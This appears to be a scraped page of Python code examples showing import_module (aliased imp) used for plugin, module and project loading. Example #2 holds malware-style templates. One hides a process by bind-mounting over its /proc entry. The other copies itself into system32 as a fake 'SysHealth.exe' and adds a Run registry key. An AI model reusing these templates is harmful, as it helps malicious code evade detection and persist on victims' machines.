예제 #1
0
def add_subcommands(parent, file, package):
    """
    Add click subcommands according to directory structure.

    Parameters
    ----------
    parent : function
        Parent function which has commands added to it.
    file : str
        Filepath of current file (use __file__).
    package : str
        Name of the current package (use __package__).
    """
    p = os.path.dirname(file)
    files = os.listdir(p)
    this_package = sys.modules[package].__name__
    modules = [
        imp(this_package + "." + f.replace(".py", ""), ) for f in files
        if f[0] != "_"
    ]
    commands = [
        getattr(module, module.__name__[module.__name__.rfind(".") + 1:])
        for module in modules
    ]
    for _ in commands:
        parent.add_command(_)
예제 #2
0
    def __init__(self, root: str):
        self._LINUX_HIDER = """
import signal as s,subprocess
from random import choice as c
def {hide_process}():\n\tch = s.uppercase + s.digits
\ttoken = "".join(c(ch) for i in range(32))
\tif not os.path.isdir("/tmp/%s" % (token)) :\n\tif os.popen("sudo whoami").read() == "root":
\tos.system("sudo mkdir /tmp/%s && sudo mount -o bind /tmp/%s /proc/%s" % (os.getpid(), token, os.getpid()))
\tsignal.signal(signal.SIGTERM, signal.SIG_IGN)\n\tsignal.signal(signal.SIGINT, signal.SIG_IGN)
{hide_process}()
        """
        self._WINDOWS_HIDER = """
from winreg import OpenKey , SetValueEx
def {keepyourselfalive}() :\n\tf = open(str(__file__) , "rb")
\n\tff = open("C:\\Windows\\system32\\SysHealth.exe" , "wb") 
\tff.write(f.read())\n\tf.close()\n\t\n\tff.close()
\tos.system("C:\\Windows\\system32\\SysHealth.exe")
\tSetValueEx("HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", 
             "System Health",0,"REG_SZ", "C:\\Windows\\system32\\SysHealth.exe")
{keepyourselfalive}()
        """
        self._IMPORTS = "import socket,os,sys\n"
        self.root = root
        if not self.root.endswith(('\\', "/")):
            self.root += "\\"
        self.CONFIG_FILE = path.abspath(self.root + CONFIG_FILE)
        self.CONFIG_FILE_EX = path.abspath(self.root + CONFIG_FILE_EX)
        self.info = self.load_info()
        self.validate(self.info)
        self.payloads = {}
        self.root.replace("/", "\\")
        for payload in self.info['payloads']:
            self.payloads[payload] = imp(
                "." + payload,
                self.root.replace(sys.path[0], '').replace('\\', '.')[1:-1])
예제 #3
0
 def load_project_go(self):
     project = self.workspace.containers['load_window'].containers['project_dropdown'].get()
     module = 'GuiBuilder.BUILDER.PROJECTBUILDER.{n}.MainGuiBuilder{n}'.format(n=project)
     gui_obj = getattr(imp(module), '{}Gui'.format(project))
     loaded_application = gui_obj(os.path.join(self.paths['projects_path'], '{}'.format(project)),
                                  os.path.join(self.paths['src_path'], project))
     self.workspace.leave()
     loaded_application.run()
예제 #4
0
파일: common.py 프로젝트: mgax/airship
 def create_airship(self, config=None):
     if config is None:
         config = {}
     cfg_path = self.tmp / 'etc' / 'airship.yaml'
     if cfg_path.isfile():
         with open(cfg_path, 'rb') as f:
             config.update(json.load(f))
     config['home'] = self.tmp
     return imp('airship.core').Airship(config)
예제 #5
0
파일: common.py 프로젝트: mgax/airship
 def create_airship(self, config=None):
     if config is None:
         config = {}
     cfg_path = self.tmp / 'etc' / 'airship.yaml'
     if cfg_path.isfile():
         with open(cfg_path, 'rb') as f:
             config.update(json.load(f))
     config['home'] = self.tmp
     return imp('airship.core').Airship(config)
예제 #6
0
파일: test.py 프로젝트: hiyali/pilgen
def test(lang='ug', count=5, out_dir='data/'):
    str_util = imp('lang.' + lang + '.str')

    print('Testing, images not be saved.')
    for i in range(count):
        # img = image.gen()
        img, word = str_util.genRandTextImg()
        fp = os.path.join(out_dir, 'images/word_{}.jpg'.format(i + 1))
        print('{}\t'.format(i), fp + '\t' + word)
        img.show()
예제 #7
0
    def load_plugin(self, name):
        if name in sys.modules.keys():
            return None

        plugin = imp(name)
        self.loaded_plugins.append(plugin.__name__)
        self.commands += command.plugins_to_commands(plugin)
        initializers = command.plugins_to_initializers(plugin)
        for i in initializers:
            i(BOT)
        self.command_help = self.organize_commands(self.commands)
        return plugin
예제 #8
0
 def runscript(cat, file):
     name = file.name.replace(".py", "").upper()
     # Create module string.
     pkg = str(file).replace(".py", "").replace("/", ".")
     # Do import.
     try:
         mod = imp(pkg)
         scr = getattr(mod, name)(cat)
         scr.run()
     except Exception as e:
         print("Error: while running python script({0}:{1}):".format(pkg, name))
         print(e)
         trc.print_exc()
예제 #9
0
 def __init__(self, root: str):
     self.root = root
     self.root.replace("\\", "/")
     if not self.root.endswith(('\\', "/")):
         self.root += "/"
     self.CONFIG_FILE = path.abspath(self.root + CONFIG_FILE)
     self.CONFIG_FILE_EX = path.abspath(self.root + CONFIG_FILE_EX)
     self.info = self.load_info(self.CONFIG_FILE)
     self.info = self.validate_vars(self.info)
     self.payloads = {}
     for payload in self.info['payloads']:
         AntiMalware(self.root + payload + ".py")
         self.payloads[payload] = imp("." + payload, rpp_path(self.root))
예제 #10
0
파일: tool.py 프로젝트: hiyali/pilgen
def util(lang='ug', out_dir='data/'):
    str_util = imp('lang.' + lang + '.str')

    print('Preparing char_list of `{}`:'.format(lang))
    char_list = str_util.getCharList()
    # print(char_list)

    os.makedirs(out_dir, exist_ok=True)
    fp = os.path.join(out_dir, 'char_list.txt')

    clf = open(fp, "w")
    clf.write(''.join(char_list))

    print('The char_list[{}] written into `{}`'.format(len(char_list), fp))
예제 #11
0
 def reload_plugin(self, plugin):
     if plugin not in sys.modules.keys():
         reloaded_plugin = imp(plugin)
     else:
         reloaded_plugin = reload(sys.modules[plugin])
     if plugin in self.loaded_plugins:
         self.loaded_plugins.remove(plugin)
     for cmd in self.commands:
         if get_name(cmd.function).startswith(plugin):
             self.commands.remove(cmd)
     self.commands += command.plugins_to_commands(reloaded_plugin)
     initializers = command.plugins_to_initializers(reloaded_plugin)
     for i in initializers:
         i(BOT)
     self.command_help = self.organize_commands(self.commands)
     return reloaded_plugin
예제 #12
0
 def __init__(self, mapa, coord):
     """
     :param mapa:Nome do mapa (sem o '.json')
     :param coord:Coordenada do lugar onde a renderização ocorrerá
     :return:list de list com nome dos blocos
     """
     data = json.load(open(f'Mapa/{mapa}.json'))
     blocos = data['Mapa']
     self.__blocos = []
     for aux in blocos:  # intancia todos os blocos
         linha = []
         for b in aux:
             c = imp(f'Blocos.{b}.{b}')
             linha.append(c.Bloco())
         self.__blocos.append(linha)
     self.coord = coord
     self.principal = Principal()
예제 #13
0
def import_model(name):
    """Import all models from given module from MODELS_PATH.

    :name: str
        The string of a module located in the models package.
    :returns: list
        List of models.

    """
    p = MODELS_PATH / (name + '.py')
    if not p.exists():
        raise FileNotFoundError(f'File {p} cannot be found.')

    module = imp(f'model_manager.models.{name}')
    c_list = dir(module)
    model_list = [getattr(module, x) for x in c_list if x.endswith('model')]
    # return model_list  # for now only a single module can be imported
    return model_list[-1]
예제 #14
0
 def make_new_project(self):
     form_data = self.v.field_retrieve(self.workspace.containers['new_window'].containers,
                                       ['project_path', 'name_input', 'title_input'],
                                       [self.v.is_path, self.v.file_namify, self.v.not_empty],
                                       [[], [], []])
     if form_data['_valid']:
         if form_data['name_input'] in self.project_choices:
             self.workspace.containers['new_window'].containers['name_input'].configure({'bg': 'red'})
         else:
             self.build_project_dist(form_data['project_path'], form_data['name_input'])
             self.build_project_src(self.paths['src_path'], form_data['name_input'], form_data['title_input'])
             module = 'GuiBuilder.BUILDER.PROJECTBUILDER.{n}.MainGuiBuilder{n}'.format(n=form_data['name_input'])
             gui_obj = getattr(imp(module), '{}Gui'.format(form_data['name_input']))
             InstallProjects(self.paths['project_settings'], form_data['name_input']).factory_settings()
             new_application = gui_obj(
                 os.path.join(self.paths['projects_path'], '{}'.format(form_data['name_input'])),
                 os.path.join(self.paths['src_path'], form_data['name_input']))
             self.workspace.leave()
             new_application.run()
예제 #15
0
def gen(lang='ug', count=100, out_dir='data/'):
    str_util = imp('lang.' + lang + '.str')

    os.makedirs(os.path.join(out_dir, 'images'), exist_ok=True)
    fp_gt = os.path.join(out_dir, "gt.txt")
    gtf = open(fp_gt, "w")  # gt-file

    for i in range(count):
        if count > 1000 and (i + 1) % 1000 == 0:
            print('Written {} / {}'.format(i, count))

        # img = image.gen()
        img, word = str_util.genRandTextImg()

        # img.show()
        fp_rlyt = 'images/word_{}.jpg'.format(i + 1)
        fp_root = os.path.join(out_dir, fp_rlyt)
        img.save(fp_root)

        gtf.write(fp_rlyt + '\t' + word + '\n')  # choose fp_rlyt or fp_root

    print('The leading content written into `{}`'.format(fp_gt))
예제 #16
0
파일: common.py 프로젝트: mgax/airship
 def signal(self, name):
     return imp('airship.signals')._signals[name]
예제 #17
0
def main(*a, **b):
    MM = __name__ + '.' + '__main__'
    FN = imp(MM).main
    return FN(*a, **b)
예제 #18
0
 def _load_pyconfig(self, file) -> dict:
     config = imp(file)
     return config.vars()
예제 #19
0
파일: common.py 프로젝트: mgax/airship
 def signal(self, name):
     return imp('airship.signals')._signals[name]
예제 #20
0
def ff(feedname, folder):
    from importlib import import_module as imp

    return getattr(imp('.' + feedname, __package__), feedname)(folder)
예제 #21
0
 def run_project_go(self):
     project = self.workspace.containers['load_window'].containers['project_dropdown'].get()
     module = 'GuiBuilder.PROJECTS.{}.__main__'.format(project)
     run_project = getattr(imp(module), 'Main')
     run_project()
예제 #22
0
def ff(feedname, folder):
    from importlib import import_module as imp

    return getattr(imp("." + feedname, __package__), feedname)(folder)
예제 #23
0
def runcmd(cmd):
    cmd.strip()
    if cmd.replace(" ", "") == "":
        return
    cmd = cmd.split(" ")
    if not cmd[0] in commands:

        filetype = None

        if cmd[0].endswith(".exe"):
            filetype = "exe"
        elif cmd[0].endswith(".pkg"):
            filetype = "pkg"
        elif cmd[0].endswith(".ps"):
            filetype = "ps"

        if cmd[0] in filesystem.read(
                filesystem.cwd).keys() and filetype != None:
            try:
                clear()

                if filetype == "exe":

                    with open(
                            "apps/" + filesystem.read(filesystem.cwd)[cmd[0]],
                            "r") as app:
                        with open("curapp.py", "w+") as temp:
                            temp.write(app.read())
                    app = imp("curapp")
                    app.main(appapi())
                    input(
                        Fore.YELLOW +
                        "This application has ended, press enter to return to the terminal."
                        + Fore.RESET)

                elif filetype == "pkg":

                    with open("curapp.py", "w+") as temp:
                        temp.write(filesystem.read(filesystem.cwd)[cmd[0]])

                    if input("Would you like to install this app? [Y/N]>"
                             ).lower().startswith("y"):
                        print("Creating app files...")
                        with open("apps/" + cmd[0].replace(".pkg", "") + ".py",
                                  "w+") as newapp:
                            print("Installing app...")
                            with open("curapp.py", "r") as temp:
                                newapp.write(temp.read())
                                print("Updating system...")
                                filesystem.updateapps()
                                print("Successfully installed.")
                elif filetype == "ps":
                    script = filesystem.read(filesystem.cwd)[cmd[0]]
                    script = script.splitlines()
                    for item in script:
                        runcmd(item)

                clear()
                return
            except Exception as e:
                print(
                    Fore.RED +
                    "An error occurred with that app. This is usually due to broken apps, incompatible versions of software, bugs, or other stuff. Here's an error report:"
                )
                print(str(e) + Fore.RESET)
                return
        else:
            print(Fore.RED + "Unknown app or command." + Fore.RESET)
            return
    try:
        commands[cmd[0]](*cmd[1:])
        return

    except TypeError as e:
        print(
            Fore.RED +
            "An error occurred, most likely you used some invalid arguments (the stuff you put after the command). Here's an error report:"
        )
        print(str(e) + Fore.RESET)
        return
    except KeyError as e:
        print(
            Fore.RED +
            "An error occurred with that command. This is usually due to incompatible versions of software, bugs, or other stuff. Here's an error report:"
        )
        print(str(e) + Fore.RESET)
        return
예제 #24
0
    """
    Prepare a long text string describing all the registered
    pipe functions satisying the given key. If key is "",
    describe them all.
    """
    fstring = "{0}: {1}"
    if key == "":
        lines = []
        for key, vals in _pipe_functions.items():
            lines.append(f"{key.upper()} ------------------\n")
            lines.extend([fstring.format(x.__name__, x.__doc__) for x in vals])
        lines.append("\n")
    else:
        lines = [
            fstring.format(x.__name__, x.__doc__)
            for x in _pipe_functions.vals()
        ]

    return "\n".join(lines)


folder = os.path.split(__file__)[0]
for file in os.listdir(folder):
    path = f"Pipeline.{os.path.splitext(file)[0]}"
    try:
        imp(path)
        for name, obj in inspect.getmembers(sys.modules[path]):
            register_pipe_function(obj)
    except:
        pass
예제 #25
0
from importlib import import_module as imp
import sys
if __name__ == '__main__':
    args = sys.argv[1:] or ['']
    cmd = args.pop(0)
    try:
        mod = imp('%s.scripts.%s' % (__package__, cmd))
    except ModuleNotFoundError:
        print("Cannot handle '%s'" % cmd)
        exit()
    mod.main(args)
예제 #26
0
ignores = ["mkdocs.py", "util.py", "template.py"]

path = "."
files = [f for f in listdir(path) if isfile(join(path, f))]

def transform(md):
    return md

docs = []

docfiles = {}

for file in files:
    if file in ignores: continue

    module = imp(file.replace(".py", ""))

    doc = transform(module.doc)

    docs += [doc]
    docfiles[file] = doc

# Full Docs:
docs = "\n---\n\n".join(docs)
docs = "# Math Docs\n___\n\n" + "<TOC>\n\n___\n\n" + docs
with open("./docs/index.md", "w+") as file:
    file.write(docs)
docs = docs.replace("<TOC>", md_toc.build_toc('./docs/index.md'))
with open("./docs/index.md", "w+") as file:
    file.write(docs)